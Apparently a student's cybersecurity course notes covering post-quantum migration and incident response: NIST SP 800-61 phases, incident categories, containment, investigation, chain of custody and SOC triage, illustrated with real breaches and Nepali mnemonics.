| AES-128 | weakened by Grover | move to AES-256 |
| AES-256, SHA-256, SHA-384 | adequate | keep |
Distance: no cryptographically relevant quantum computer (CRQC) exists; today's machines have a few hundred to a few thousand noisy physical qubits; published estimates for breaking RSA-2048 fell from about 20 million noisy qubits (Gidney and Ekerå, 2019) to under a million (Gidney, 2025). The date is unknown, itself a reason to act.
Why vendors already offer PQC:
- Harvest now, decrypt later: traffic recorded today is decrypted once a CRQC exists; long-lived secrets (state, health, intellectual property, financial and identity data) are exposed unless key exchange is quantum-safe now.
- Mosca's inequality: years of secrecy needed, years of migration, years to a CRQC; if , already late.
- Migration takes years: crypto inventory (cryptographic bill of materials), then libraries, protocols, HSMs, smart cards, certificates, partners; systems must be crypto agile. Retiring SHA-1 took many years.
- Standards are final: NIST FIPS 203 (ML-KEM, from CRYSTALS-Kyber), FIPS 204 (ML-DSA, from CRYSTALS-Dilithium), FIPS 205 (SLH-DSA, from SPHINCS+), August 2024; HQC chosen as a further code-based KEM in March 2025.
- Government deadlines: NSA's CNSA 2.0 (2022) for national security systems, transition due by 2035; NIST IR 8547 (draft, November 2024) proposes deprecating RSA and ECC after 2030 and disallowing them after 2035.
- Long-lived products: firmware, vehicles, satellites, smart meters and identity cards shipped now serve into the 2030s; roots of trust cannot be swapped later.
- Cheap to start: hybrid key exchange (a classical exchange, in TLS usually X25519, plus ML-KEM) is secure if either holds, at a small handshake cost.
- Market demand: compliance questionnaires, customer demand, "quantum-safe" as a selling point, and the risk of being caught out by an early breakthrough.
Mnemonic (the eight reasons, in order): Hackerle Mobile Message Saachyo, Gaadimaa Laptop Chhodyo, Mutyo (the hacker saves the mobile message, leaves his laptop in the car, and pees; the first clause is harvest now, decrypt later itself).
Figure: a timeline from today: an adversary records traffic now and decrypts it at Q-day; migration Y = 7 years then shelf life X = 10 years end at 17, past Z = 15 years, leaving 2 years exposed.
Worked Mosca check: a bank's records must stay secret 10 years, migration takes 7, a CRQC is assumed in 15:
Records encrypted in the migration's last two years would still need secrecy when breakable, so the bank starts now, key exchange for long-lived data first.
To remember it: a wallet app's encrypted traffic (eSewa, Khalti) recorded today is useless now, but the KYC details inside, a citizenship number and a date of birth, are still valid in 2045; if a quantum computer comes first, the recording opens. A long shelf life (Mosca's ) makes today's traffic the target.
Already shipping: Chrome enabled hybrid post-quantum key exchange by default in 2024; Cloudflare offers it across its network; Signal added PQXDH in 2023; Apple's iMessage added PQ3 in 2024; OpenSSH has used a hybrid post-quantum key exchange by default since 9.0 (2022), and an ML-KEM one since 10.0 (2025).
The SOC's part: keep the crypto inventory; watch traffic for legacy and quantum-vulnerable protocols; check that TLS inspection, proxies and NDR sensors handle larger post-quantum handshakes (some older middleboxes failed at first); ask vendors for PQC roadmaps; put the quantum threat in the risk register.
Chapter 6: Incident detection and response 10230 words
Events, attacks and incidents, and how an incident is found
Security incident: an event that affects the confidentiality, integrity or availability of an organization's information resources and assets (the course's definition); NIST SP 800-61 Rev. 2: a violation, or an imminent threat of violation, of security policies, acceptable use policies or standard security practices. Every incident begins as events; only some events are adverse, only some adverse events are incidents.
- Event: any observable occurrence (a login, a web request, a blocked connection). Adverse event: an event with a negative consequence, whatever the cause (crash, power failure, packet flood, destructive malware). Incident: harms or is about to harm CIA, or breaks policy. Alert: a tool's claim that events look like an incident; may be wrong.
- Threat, attack, incident (the deck): a threat is a danger to an asset; an attack is a threat carried out. A valid attack is classified as an information security incident if it is (1) directed against information assets, (2) has a realistic chance of success, (3) threatens CIA.
- Not the same set: an attack that cannot succeed is not an incident (a port scan the firewall drops, a quarantined phishing email); an incident need not be an attack (a misdirected email of customer records, a faulty update), which is why the course's categories include unplanned downtime.
| Term | Meaning | Example |
|---|---|---|
| Event | any observable occurrence | Rita logs in at 09:02 |
| Adverse event | negative consequence, any cause | a server crashes after a bad update |
| Attack | a threat carried out, a deliberate attempt | password after password tried on the admin account |
| Alert | a tool says events match a rule (may be wrong) | SIEM: 37 failed logins for the admin account |
| Incident | CIA harmed or policy violated, or about to be | the 38th attempt succeeds from a foreign IP and a new admin user appears |
- Memory example (made up): hostel router logins are events; someone in room 12 runs a password guesser on the admin page (attack); the page locks after five tries (no realistic chance: stays an attack), or the password is still
admin, the guess succeeds and users are sent to a fake Khalti login page (incident). - Volume: millions of events a day; NIST notes thousands or millions of intrusion detection alerts a day are not unusual.
- Precursor: a sign an incident may happen (vulnerability scanner in web logs, a new exploit for the organization's mail server, a threat from a group); rare, a chance to prevent. Indicator: a sign it has happened or is happening (antivirus alert, odd filename, many failed logins from an unfamiliar system, audit settings changed, unusual traffic); common, starts the response.
Detection sources
NIST: alerts, logs, publicly available information, people; a SOC adds EDR, intelligence and hunting. SIEM correlation (brute force, impossible travel, new admin account); EDR and antivirus (Word spawning PowerShell, bulk encryption); IDS, IPS, network tools (signatures, flow anomalies, DNS tunneling); logs (OS, application, network devices, file integrity); people (users, help desk, reported phishing); outsiders and intelligence (IoC feeds, partners, vendors, CERTs, police); threat hunting.
The course's detection step
| Question | Example answers |
|---|---|
| Who or what detected or reported the threat? | IT staff, security tools (SIEM, EDR, antivirus) |
| Date and time of detection or report? | normalized across reports, recorded in GMT |
| How was it detected or reported? | email, text, warning pop-up, phone call |
| Has a similar threat been reported? | earlier entries in the incident register |
| Is the threat valid? | confirmed, or false positive |
One clock: a Kathmandu firewall logs Nepal time (UTC+5:45), a cloud service UTC, a vendor its own zone; without normalizing to GMT (UTC) a timeline puts events in the wrong order. NIST: every step documented and timestamped from detection.
Validation
| Really malicious | Really benign | |
|---|---|---|
| Alert raised | true positive: respond | false positive: close, tune the rule |
| No alert | false negative: the dangerous miss | true negative: nothing to do |
Example (course hunting scenario 1): a flagged attachment hash; pivot to recipient Rita (repeated failed logins across servers); pivot to the source IP (on a known C2 list): Rita's account is compromised, Bob's is probed from the same IP.
Types of incident, from insider theft to a poisoned vendor update
Incident types: the kinds of incident an organization expects and writes a playbook for; the type decides the playbook (ransomware: isolation and backups; data leak: legal advice and notification; insider: HR).
| Type | What happens | Example |
|---|---|---|
| 1. Insider data theft | employee, ex-employee or contractor takes data or sells access | the terminated vice president reading executives' email |
| 2. Sensitive data leak | personal or confidential data exposed, often by mistake | customer records emailed to the wrong address; a cloud folder readable by anyone with the link |
| 3. Breach | an outsider gets in and takes data | Equifax 2017, about 147 million people |
| 4. Trade secret leak | source code, designs, formulas or plans leave | LastPass, August 2022: source code stolen |
| 5. Phishing attack | a fake message deceives someone into a click, login or payment | the Emotet chain (chapter 2); MFA fatigue at Uber 2022 |
| 6. Third-party vendor attack | entry through a supplier, contractor or software vendor | SolarWinds 2020; Okta 2022 via a support contractor |
| 7. Ransomware attack | files encrypted, now usually copied out first | Colonial Pipeline 2021; WannaCry 2017 |
| 8. Malware attack | trojans, worms, spyware, keyloggers, miners | TrickBot; the LastPass keylogger |
Memory aid: four ways data walks out (1 to 4), four ways attackers walk in (5 to 8).
NIST SP 800-61 Rev. 3's seven examples (quoted by the deck)
- A botnet floods an internet-facing service (DoS): Mirai on Dyn, October 2016, Twitter, Netflix and others unreachable for hours.
- Administrative credentials stolen at a SaaS provider, risking every tenant: Okta 2022.
- An intruder steals credentials and orders industrial control systems to shut down or destroy equipment: Ukraine, December 2015, breakers opened at three distribution companies, about 225,000 customers without power.
- Ransomware stops systems and data is copied out first (double extortion).
- Phishing takes over accounts used for financial fraud (a hijacked mailbox asks finance to pay a new account).
- A new vulnerability in network management appliances exploited (a zero-day).
- A vendor's software compromised and shipped to customers (SolarWinds).
Figure: a LAPSUS Telegram post of 10 March 2022 recruiting employees at telecoms firms, large software and gaming companies, call centers and hosting providers, asking not for data but for VPN, Citrix or AnyDesk access, and offering pay.
What the post says: targets in four groups: telecoms (Claro, Telefonica, AT&T), large software and gaming corporations (Microsoft, Apple, EA, IBM), call centres and outsourcers (Atento, Teleperformance), server hosts (OVH, Locaweb). In capitals: not looking for data but for an employee to provide a VPN or Citrix way into the network, or AnyDesk. Non-employees with access, such as a VPN account or a VDI (virtual desktop infrastructure) login, are wanted too; the unsure are told to send a direct message; payment offered; about 25,900 views. Every item is a remote access path, hence offboarding, MFA on remote access and alerts on unusual remote logins in each insider lesson.
In early 2022 the LAPSUS group breached Nvidia, Samsung, Microsoft and Okta largely through stolen passwords, MFA fatigue and insiders; an insider can be anyone who answers an advert. Uber believed its September 2022 intruder was affiliated with the group.
Categorising an incident: category, impact and priority
Incident classification: labelling a confirmed incident by category (what kind) and severity (how much harm) so it gets the right playbook and priority; step 3 of the course's framework, categorisation. NIST calls prioritization perhaps the most critical decision; never first come, first served. Incidents range from low impact to major ones where administrative access to enterprise IT is compromised (targeted attacks in the press).
The course's six categories
| Category | Meaning | Example |
|---|---|---|
| Denial of service | service unavailable to legitimate users | a botnet floods online banking |
| Malicious code | virus, worm, trojan, ransomware runs | WannaCry encrypts hospital PCs |
| Unauthorized use | legitimate access used for what is not allowed | an admin reads the director's mail; a miner on office servers |
| Unauthorized access | someone gets in who was never given access | the terminated vice president's login |
| Unplanned downtime | a system stops, cause unknown at first | faulty CrowdStrike update, 19 July 2024, about 8.5 million Windows computers crashed, no attacker |
| Other | anything else | a lost laptop, a policy breach |
The course's five activities
| Activity | Example answers |
|---|---|
| Who or what is the target of the threat? | a user, a system, specific data |
| Is this an ongoing (live) threat? | ongoing, stopped, unknown |
| What is the impact of the threat? | financial, operational, reputational, legal |
| Categorise the priority of the incident | priority 1, 2 or 3 (P1 above P2 above P3) |
| Classify the incident communication | restricted or unrestricted |
Assigning a priority level (the class notes' wording of the fourth activity): priority 1, 2 or 3, P1 handled first. The notes call the whole step triage of the validated incident, to fix its scope and severity.
Restricted or unrestricted fixes who may be told: restricted (a suspected insider, a breach being scoped) is known only to the response team and named managers; unrestricted (a phishing campaign) can be announced to all staff; it is the fifth rule of the response.
NIST's vectors and severity
| Vector | Example |
|---|---|
| External or removable media | malware from an infected USB drive |
| Attrition (brute force) | DDoS on the web server; password guessing |
| Web | cross-site scripting steals credentials; drive-by download |
| malicious attachment or link | |
| Impersonation | spoofing, man in the middle, rogue access point, SQL injection |
| Improper usage | an authorised user breaks the acceptable use policy |
| Loss or theft of equipment | stolen laptop, phone or token |
| Other | none of the above |
SOC incident types: malware, phishing, account compromise, denial of service, data breach, insider misuse, web application attack, policy violation; the type names the playbook.
| Factor | Scale | Question |
|---|---|---|
| Functional impact | none, low, medium, high | can critical services still be provided? |
| Information impact | none, privacy breach, proprietary breach, integrity loss | was information exposed, stolen, changed or deleted? |
| Recoverability | regular, supplemented, extended, not recoverable | what does recovery need? (not recoverable: investigate) |
Priority: impact (functional plus information) against urgency (spreading? attacker active? how fast does harm grow?), each priority with an SLA target. The deck uses three levels; many SOCs, and the matrix, use four.
Figure: a three by three impact and urgency matrix (high and high is P1; P4 at the low corner) beside example targets: P1 ransomware spreading, act at once; P2 domain admin compromised, 1 hour; P3 one laptop contained by EDR, 4 hours; P4 phishing reported, nobody clicked, 1 business day.
- Ransomware on a hospital's file servers: malicious code; target file servers and patient records; live; operational, financial and reputational impact; recoverability supplemented or extended: P1, restricted.
- Phishing reported, not clicked: category other (an attempt); stopped; no impact: lowest priority (block sender, purge copies, thank the reporter, warn staff: unrestricted).
- Re-rating: the January 2022 malware against Ukrainian organizations (Microsoft's DEV-0586, now Cadet Blizzard) showed a ransom note but destroyed the MBR: treat as a wiper (rebuild and restore), not ransomware.
The incident response plan: why every organization needs one
Incident response plan (IRP): a detailed set of processes and procedures that anticipate, detect and mitigate the impact of an unexpected event that might compromise information resources and assets (the deck, citing NIST SP 800-61).
- Not if, but when: every organization will have incidents; NIST Rev. 3: the timing is unknown, another incident is inevitable.
- Before a crisis: key preparations reduce risk (people, tools, contacts, decisions made calmly). In a crisis: limits damage at once; nobody invents the process at 2 a.m.
- Reactive, not preventive: in the deck's words, IR is a reactive measure, not a preventative one; response decides how fast and how well the organization comes back. Quotations in the deck: "fortune favors the prepared mind" (after Pasteur); "There cannot be a crisis next week. My schedule is already full" (usually credited to Kissinger), the attitude a plan defeats.
- Equation: ruin the attacker's economic model = break the known attack playbook + rapid response and recovery + eliminate other attack vectors; preparing for and executing a well-planned response raises the attacker's operational cost and dramatically cuts the business impact of a major incident.
- Memory example: Kathmandu does not ask whether the next big earthquake will come, only when; the school that has practiced its drill copes. The IRP is the drill.
Figure: the deck's NIST SP 800-61 Rev. 2 lifecycle (preparation, detection and analysis, containment eradication and recovery, post-incident activity; a loop between detection and containment, a long arrow back to preparation).
Figure: the four NIST phases with the 17 numbered parts of the plan under them, the loop from phase 3 to phase 2 and the arrow from phase 4 back to phase 1.
| Phase | Parts | What they cover |
|---|---|---|
| Preparation | 1 communication and facilities; 2 hardware and software; 3 resources | contact and on-call lists, war room, secure storage; forensic laptops, spare equipment, packet capture; documentation, network diagrams, baselines, hashes; plus preventing incidents |
| Detection and analysis | 4 attack vectors identification; 5 signs of an incident; 6 sources of precursors and indicators; 7 incident analysis; 8 documentation; 9 prioritization; 10 notification | how incidents arrive, signs, sources, validating and scoping, the ticket, impact against urgency, who is told |
| Containment, eradication and recovery | 11 containment strategy; 12 evidence gathering and handling; 13 identifying the attacking hosts; 14 eradication and recovery | stopping the spread, chain of custody, where the attack comes from, removing the cause and restoring |
| Post-incident activity | 15 lessons learnt; 16 using collected incident data; 17 evidence retention | review meeting, trend and budget data, how long evidence is kept |
- Part 13 warning (NIST): stay focused on containment, eradication and recovery; tracing the attacker can waste time; done only as far as it helps (validate the IP, research it, check incident databases).
- NIST's nine step checklist: determine whether an incident occurred, prioritize, report; acquire evidence, contain, eradicate, recover; follow-up report, lessons learned meeting.
NIST SP 800-61 Rev. 3 (April 2025)
Incident Response Recommendations and Considerations for Cybersecurity Risk Management: A CSF 2.0 Community Profile replaced Rev. 2. It drops the circular lifecycle (incidents frequent, recovery takes weeks or months) and maps the work onto the six CSF 2.0 functions: Govern, Identify, Protect prepare; Detect, Respond, Recover handle; lessons feed Improvement (a category of Identify).
| Rev. 2 phase | CSF 2.0 functions in Rev. 3 |
|---|---|
| Preparation | Govern, Identify, Protect |
| Detection and analysis | Detect, with Improvement |
| Containment, eradication and recovery | Respond and Recover, with Improvement |
| Post-incident activity | Improvement (in Identify) |
Rev. 3 says each organization should use the lifecycle model that suits it best, which is how the course teaches its own eight steps. Its incident definition (FISMA 2014): an occurrence that actually or imminently jeopardizes, without lawful authority, the integrity, confidentiality or availability of information or a system, or violates or threatens to violate law, security policies, procedures or acceptable use policies.
The course's eight step IRP framework, mapped to NIST and SANS
Incident handling and response: the planned, repeatable procedure from getting ready for an incident to learning from it. The course's eight step IRP framework: preparation, detection, categorisation, containment, investigation, remediation, reporting, lessons learnt. NIST groups the work in four phases, SANS in six steps. A fixed procedure matters because incidents are handled under stress on incomplete facts.
Figure: the deck's framework cycle: 1 Preparation as a gray arrow feeding a ring of 2 Detection, 3 Categorisation, 4 Containment, 5 Investigation, 6 Remediation, 7 Reporting, 8 Lessons learnt, which comes back to the top.
Figure: our eight boxes as a loop coloured by NIST phase: top row preparation, detection, categorisation, containment; bottom row (right to left) investigation, remediation, reporting, lessons learnt; arrow from lessons learnt back to preparation.
Running example (chapter 2 deck): phishing email, Word macro, PowerShell, Emotet, TrickBot (steals credentials), Ryuk ransomware.
- Preparation: IRP written, approved by management, with its commitment; playbooks for phishing, ransomware, keyloggers, DDoS; logistics (meeting rooms, laptops, removable storage, phones, sleeping and catering arrangements); contacts (team, alternative contact methods, escalation, on call, support, vendors); support documents (incident register, architecture and network diagrams, data flows, system documentation); logs to SIEM, EDR everywhere, tested offline backups.
- Detection: EDR alerts
winword.exespawnedpowershell.exeon a finance PC; record who or what reported it, when (GMT), how; check the incident register; confirm valid, not a false positive. - Categorisation: target (the PC, its user, finance data); live; impact financial and operational; category malicious code; priority P1; communication restricted.
- Containment: isolate the PC via EDR, disable the account, block the C2 IP and domain at firewall and DNS, purge the email, change admin passwords; capture memory and disk first.
- Investigation: entry (the macro), persistence (scheduled tasks, run keys), accounts stolen and their privilege, lateral movement, exfiltration; from firewall and SIEM logs, malware analysis, a user interview.
- Remediation: remove malware and persistence, reset stolen credentials, block internet macros, update antivirus and SIEM rules, reimage and restore from clean backup, awareness session, declare remediated (fully or partly).
- Reporting: documentation kept throughout; incident register updated; report with evidence, findings, timeline to management and, where required, regulators and police.
- Lessons learnt: root cause (internet macros allowed), controls and processes judged, trends checked, mitigation and improvement plans, fed back into preparation.
Mnemonic: Pulis Daai Chiya Chhodera Inaarma Rakshi Rakhera Lukyo (the police daai left his tea, stashed rakshi in the well and hid): P D C C I R R L. Chiya before Chhodera (categorise, then contain); Rakshi before Rakhera (remediate, then report); a well is deep, as an investigation is.
A loop, not a line: containment uncovers new hosts, which go back through detection and investigation; reporting runs through every step; lessons learnt feed preparation. The five "do not make things worse" rules hold at every step.
Figure: the course's eight steps, NIST's four phases and SANS's six steps aligned in columns, with ISO/IEC 27035's five phases beneath.
| The course (8) | NIST SP 800-61 Rev. 2 (4) | SANS (6) | ISO/IEC 27035 (5) |
|---|---|---|---|
| 1 Preparation | Preparation | Preparation | Plan and prepare |
| 2 Detection; 3 Categorisation | Detection and analysis | Identification | Detection and reporting; assessment and decision |
| 4 Containment; 5 Investigation; 6 Remediation | Containment, eradication and recovery | Containment; eradication; recovery | Responses |
| 7 Reporting; 8 Lessons learnt | Post-incident activity | Lessons learned | Lessons learnt |
SANS's six steps (Incident Handler's Handbook) are remembered as PICERL. Which model to write: the sittings ask for "the fundamental steps"; the course teaches the eight and the class notes answer with them; write those and map them to NIST's four phases in one line.
Do not make things worse: the five rules of a response
Do not make things worse: five rules the course sets beside its framework, holding at every step: a response must not add damage, alert the attacker or destroy the proof.
Figure: the deck's slide of five numbered rules bracketed under "Do not make things worse".
| Rule | Why | Breaking it looks like |
|---|---|---|
| 1. Do not engage or interact with the hacker or threat group | contact tells them they are seen, invites haste, destruction or leaks; hacking back is itself unauthorized access | an analyst opens the ransom note's chat to "ask what they want" |
| 2. Do not connect to the threat's related networks from the organization | the attacker's server logs visitors; a company address shows the lure was noticed; the site may serve more malware | an employee opens the phishing link from the office; analysts use a sandbox or lookup service |
| 3. Preserve evidence | memory, logs and disks show what happened; may be needed in court | the server is rebooted or reimaged before memory and disk are captured |
| 4. Coordinate internal and external communication with management | one voice, agreed facts, legal deadlines met | in 2017 Equifax's Twitter account sent customers to a look-alike of its breach site |
| 5. Treat all incident details as confidential | leaks help an attacker who may read the mail, cause panic, wreck insider inquiries; the restricted or unrestricted label says who may know | staff discuss the breach in a public group or over the email the attacker controls |
- Uber 2022 example: staff answered the intruder's Slack announcement with emojis and GIFs (rule 1 broken); Uber took Slack and other internal tools offline, since the attacker could read them (rule 5).
- Mnemonic: Hacker Nepalma Euta Momo Churaayo (a hacker came to Nepal and stole one momo): H hacker, N network, E evidence, M management, C confidential.
- Where they bite: rules 1 and 2 in detection and investigation; rule 3 in containment; rules 4 and 5 in reporting and escalation.
Preparation: the team, the plan, the playbooks and the jump kit
Preparation (step 1): everything done before an incident so the response is fast and correct: a team with authority, a management-approved policy and plan, playbooks, tools and a jump kit, practiced communication. WannaCry: the NHS plan was never tested locally, nobody knew who led, email was down, staff used personal phones and WhatsApp.
| Course activity | Examples |
|---|---|
| Incident response plan | team, procedures, documentation, approval, management commitment |
| Incident response playbooks | phishing, ransomware, keylogger, DDoS |
| Logistics | meeting rooms, laptops, removable storage, phones, stationery, printers, sleeping and catering arrangements |
| Contacts | team, alternative contact methods, escalation, on call, support, vendors |
| Support | incident register, architecture diagram, network diagram, data flows, application and system documentation |
Sleeping and catering: a serious incident runs for days (Colonial Pipeline's lines stopped about five days); plan food, beds and shifts.
CSIRT models (NIST)
- Central: one team; small organizations, little geographic spread.
- Distributed: one team per division or region, coordinated as one entity; large organizations.
- Coordinating: advises other teams without authority, a "CSIRT for CSIRTs" (national CERT).
- Staffing: employees; partially outsourced (most often 24/7 MSSP monitoring, response in house); fully outsourced (onsite contractor supervised by own staff).
| Role | Job |
|---|---|
| Incident manager | directs, decides, keeps the timeline, briefs management |
| SOC analysts, tiers 1 to 3 | triage, investigate, contain |
| Forensic specialist | images disks and memory, chain of custody |
| IT and network operations | isolate, patch, rebuild, restore |
| Management and CISO | approve decisions with business impact |
| Legal | laws, contracts, regulators, evidence for court |
| Human resources | cases involving employees |
| Public relations | media and customer statements |
| Business continuity, facilities | keep the business running; physical access |
Documents
- Policy (NIST): management commitment, purpose and scope, incident definition, roles and authority (including authority to disconnect equipment), severity ratings, reporting requirements, performance measures.
- Plan: mission, strategies and goals, senior management approval, communication inside and outside, metrics, maturity roadmap; reviewed at least yearly.
- Procedures and playbooks: per incident type (phishing, ransomware, keylogger, account compromise, DDoS, data leak, insider): trigger, checks, first containment actions, notifications, escalation points; SOAR automates parts.
Kit and communications
- Jump kit: portable, always ready, never borrowed from: forensic laptop with packet capture and forensic software, blank media, cables and network gear, chain of custody forms, evidence bags and tags, bound notebook, trusted tools on removable media.
- Contact lists: team, on-call rota, management, legal, vendors, ISP, national CERT, police, each with a backup and an alternative way to reach them.
- Out of band channels: phones, encrypted chat, war room (email may be watched or down).
- Reference: network diagrams, asset inventory with owners, baselines, clean images, hashes of critical files.
- Memory example: Nepal's earthquake safety campaigns tell families to keep a go-bag (torch, water, documents, phone numbers): packed before the shaking, never borrowed from; the jump kit is the team's go-bag.
- Practice and prevention: tabletop exercises, simulations; patching, hardening, MFA, logging, backups, awareness.
Containment and remediation: stop the spread, then remove the cause
Containment: action that stops an incident spreading or causing more harm before its cause is removed, buying time to investigate and remediate. Remediation then removes the cause and returns systems to normal. The course runs them as steps 4 and 6 with investigation (5) between; NIST keeps containment, eradication and recovery in one phase because they overlap. Memory example: a burst hostel pipe: close the valve and lift the laptops (containment), find the joint (investigation), replace the pipe and dry the room (remediation).
The course's containment step
| Activity | Examples |
|---|---|
| Coordinate incident management | team, communications, activities, documentation |
| Light and quick threat analysis | network, system, user |
| Identify the main attack and compromise vectors | IP addresses, ports, signatures, email |
| Isolate the targeted asset | remove from the network, disable the account |
| Implement emergency changes as required | network, system, user |
Isolating the targeted asset is the core of the step; the class notes give its two forms, removing the asset from the network or disabling the compromised account, then emergency changes such as blocking malicious IPs at the firewall or changing administrator passwords.
The deck's actions: isolate affected systems and networks and stop compromised systems reaching others; close specific ports and mail servers; update firewall filtering; change admin passwords, rotate private keys and service or application secrets where compromise is suspected, revoke privileged access; block and log unauthorized access, malware sources and egress traffic to known attacker IPs; prevent DNS resolution of attacker domains; advanced SOCs may steer the adversary into a sandbox to watch, gather evidence and identify TTPs; monitor for the attacker's reaction to containment; report the updated timeline and findings, with new atomic indicators (an IP, domain or hash) and behavioral ones (patterns of activity).
| Strategy | What it does | Example |
|---|---|---|
| Isolate the host | cut off the network, keep powered | EDR isolation of a laptop |
| Disable or reset accounts | stolen credentials stop working | disable Rita's account |
| Block indicators | stop traffic to and from the attacker | block C2 at the firewall; sinkhole the domain |
| Segment | separate zones | cut IT from OT |
| Take a service offline | remove the entry point | Equifax's dispute portal |
| Halt operations | stop the business process | Colonial Pipeline's 5,500 miles |
| Filter or rate limit | absorb an attack while staying up | DDoS scrubbing |
| Redirect to a sandbox | watch the attacker safely | only with legal agreement (NIST) |
- Short term: the emergency stop (isolate, block, disable). Long term: keep running while a clean fix is prepared (temporary rule, patched replacement, closer monitoring).
- NIST's six criteria: potential damage and theft of resources; need to preserve evidence; service availability; time and resources; effectiveness (partial or full); duration (four hour emergency workaround, two week temporary one, permanent fix).
- Traps: disconnecting loses memory evidence and can trigger damage (NIST: a process that pings a host and wipes the disk when pings fail); knowingly delaying containment may bring liability if systems attack others.
The course's remediation step
| Activity | Examples |
|---|---|
| Threat network remediation | block IPs, ports, domains, email senders; update firewall, IDS, APT and SIEM rules |
| Threat malware remediation | update system and network antivirus signatures; engage vendors |
| Threat system remediation | remove or ban infected apps and plugins, clear malicious inbox rules, fix vulnerability assessment findings |
| Threat user remediation | individual and group awareness sessions |
| Declare the incident remediated | full, partial, accepted |
- Inbox rules: attackers add forwarding or deleting rules to hide fraud; they survive a password reset unless cleared.
- Full, partial, accepted: all fixed; work remaining with an owner and date; residual risk formally accepted by management.
- Eradication (NIST): remove every component (malware, web shells, persistence, rogue accounts); close the way in; reset every password, key and token, privileged first; sweep every host with the IoCs.
- Patching is not eradication: Exchange Server, March 2021: web shells planted before the patch survived it; where Active Directory was stolen, the domain was rebuilt.
- Recovery: restore from clean images or known good, preferably offline, tested backups; harden (patches, passwords, firewall rules, router access lists); return in phases (quick high value changes in days or weeks, then longer term infrastructure); watch with more logging, an attacked resource is often attacked again.
Investigation: the questions that scope an incident
Investigation (step 5): the deep analysis after the first containment that finds how the attacker got in, what they did and what they took, so remediation removes everything. Containment runs on a quick analysis; remediating without the investigation leaves backdoors (NIST: eradication must find every affected host).
| Stage | The deck's questions | Typical answers |
|---|---|---|
| Getting in | initial attack vector? how is the adversary accessing the environment? exploiting vulnerabilities for access or privilege? | phishing, stolen VPN password, unpatched web server; VPN logins, a web shell |
| Staying in | how is command and control maintained? persistence on the network or device? method of persistence? | C2 beacons; malware backdoor, web shell, legitimate credentials, remote tools |
| Spreading | which accounts compromised, at what privilege? what reconnaissance? lateral movement suspected or known? how conducted? | domain admin, local admin, user; network scans, directory queries; RDP, network shares, malware |
| Taking | data exfiltrated? what kind, by what mechanism? | customer records over HTTPS to cloud storage; source code; nothing |
The order follows the kill chain and ATT&CK: initial access, command and control, persistence, privilege escalation, discovery, lateral movement, exfiltration. Memory example: investigate it like a burglary: how did he get in, can he come back, which rooms, what did he carry out.
| Analysis | Sources and methods |
|---|---|
| Threat network analysis | firewall, cloud application and asset logs, intercepted traffic, traffic and data flows, SIEM |
| Threat malware analysis | antivirus vendors, footprint and behavior, reverse engineering |
| Threat system analysis | event logs, installed apps and plugins, Active Directory and email activity, authenticated vulnerability assessment, SIEM |
| Threat user analysis | interview the targeted user: context, triggers, recent unusual activity or alerts |
| Threat research analysis | online searches for similar threats, professional forums, the vendor |
- Made-up example (a college results portal): a new admin account the night before results; way in: a staff password typed into a fake login page (user analysis); access: VPN logins at 2 a.m. from abroad (network); persistence: a second hidden admin account (system); spread: portal to marks database through a shared password (system); taken: the marks file copied out (network). Each answer becomes a remediation task.
- Output: scope (hosts, accounts, data), root cause, timeline; feeds remediation, the report and lessons learnt; evidence under chain of custody. Real cases: Equifax rebuilt the attackers' queries from unerased logs; Colonial hired Mandiant; FireEye's own investigation led to the SolarWinds update.
Evidence and the chain of custody
Chain of custody: the documented, unbroken record of who collected evidence, when, where and how, and every person who held it after, showing a court it is the same, unaltered item. Evidence resolves the incident first but may be needed for prosecution, lawsuits, insurance or regulators; NIST requires it accounted for at all times, each transfer on a signed form. It is the course's third rule (preserve evidence). Memory example: a board exam's question papers travel sealed, every hand-over signed, the seal broken in front of the invigilators.
Order of volatility (RFC 3227, 2002)
- CPU registers and cache
- routing table, ARP cache, process table, kernel statistics, memory
- temporary file systems
- disk
- remote logging and monitoring data
- physical configuration and network topology
- archival media (backups)
The order runs outward from the processor (nanoseconds, lost at power-off, survives a reboot, other machines, shelves). A running infected server has memory captured before shutdown: processes, connections and keys live only there.
Handling
- Image, work on copies: bit for bit image through a write blocker; original sealed.
- Hash: SHA-256 of original and copies; matching hashes prove no change.
- Log every item (NIST): identifiers (location, serial number, model, hostname, MAC and IP addresses); name, title and phone of every handler; date and time with time zone of each handling; storage location.
- Sign every transfer; store securely with access logged; work in pairs (one acts, one records).
| Item | SHA-256 | From | To | Time (UTC) | Purpose |
|---|---|---|---|---|---|
| memory image, FIN-PC-07 | 9c41 e07b | analyst A | evidence store | 14 Sep, 03:12 | seal and store |
| disk image, FIN-PC-07 | 52aa 1f9d | evidence store | forensic analyst B | 14 Sep, 09:40 | analysis on a copy |
(An illustrative chain of custody log.)
- Nepal: offences under the Electronic Transactions Act 2008, such as unauthorized access, must be proved with digital evidence; in the NIC Asia Bank SWIFT fraud (2017) the police Central Investigation Bureau investigated how credentials were stolen.
- A decision: most malware incidents do not merit forensic evidence (NIST); decide early with legal advice, since it changes containment (pulling the plug loses memory).
Triage: sorting alerts through the SOC tiers
Incident triage: the quick first assessment of an alert or report deciding whether it is a real incident, what kind, and how urgent, so analyst time goes where it matters (from medicine: sorting the injured). Without it, thousands of mostly false alerts cause alert fatigue and bury the real one. In the course's framework it is detection and categorisation done fast. Memory example: the emergency ward nurse on a festival night treats nobody; she decides who goes first.
Steps
- Receive and log: ticket with source, time (UTC), asset, user.
- Validate: raw events, normal behavior, harmless causes (scheduled scan); false positives closed with the reason, rule tuned.
- Enrich: asset owner and criticality, user role, intelligence on IP, domain or hash (VirusTotal), related SIEM alerts.
- Scope: hosts, accounts, still happening?
- Categorize and prioritize: type and priority.
- Act or hand over: playbook first actions, then escalate or resolve.
| Tier | Role | Work | Hands up to |
|---|---|---|---|
| Tier 1 (L1) | triage analyst | watches queue, validates, enriches, closes false positives, playbook first steps | tier 2 when real and beyond the playbook |
| Tier 2 (L2) | incident responder | scopes, contains, root cause, coordinates remediation | tier 3; SOC manager for severe incidents |
| Tier 3 (L3) | experts: hunter, forensic and malware analyst | disk and memory forensics, reverse engineering, hunting, detection rules | incident lead, management |
| SOC manager | runs the SOC | staffing, SLAs, metrics, declares major incidents | CISO |
Figure: alert sources feed tier 1, then tier 2, then tier 3 (functional escalation, to more skill); a false positive branch is closed and the rule tuned; from tier 2 a path runs down to the SOC manager, CISO and management, legal, HR and PR, then regulators, police, customers and CERTs (hierarchical escalation, to more authority).
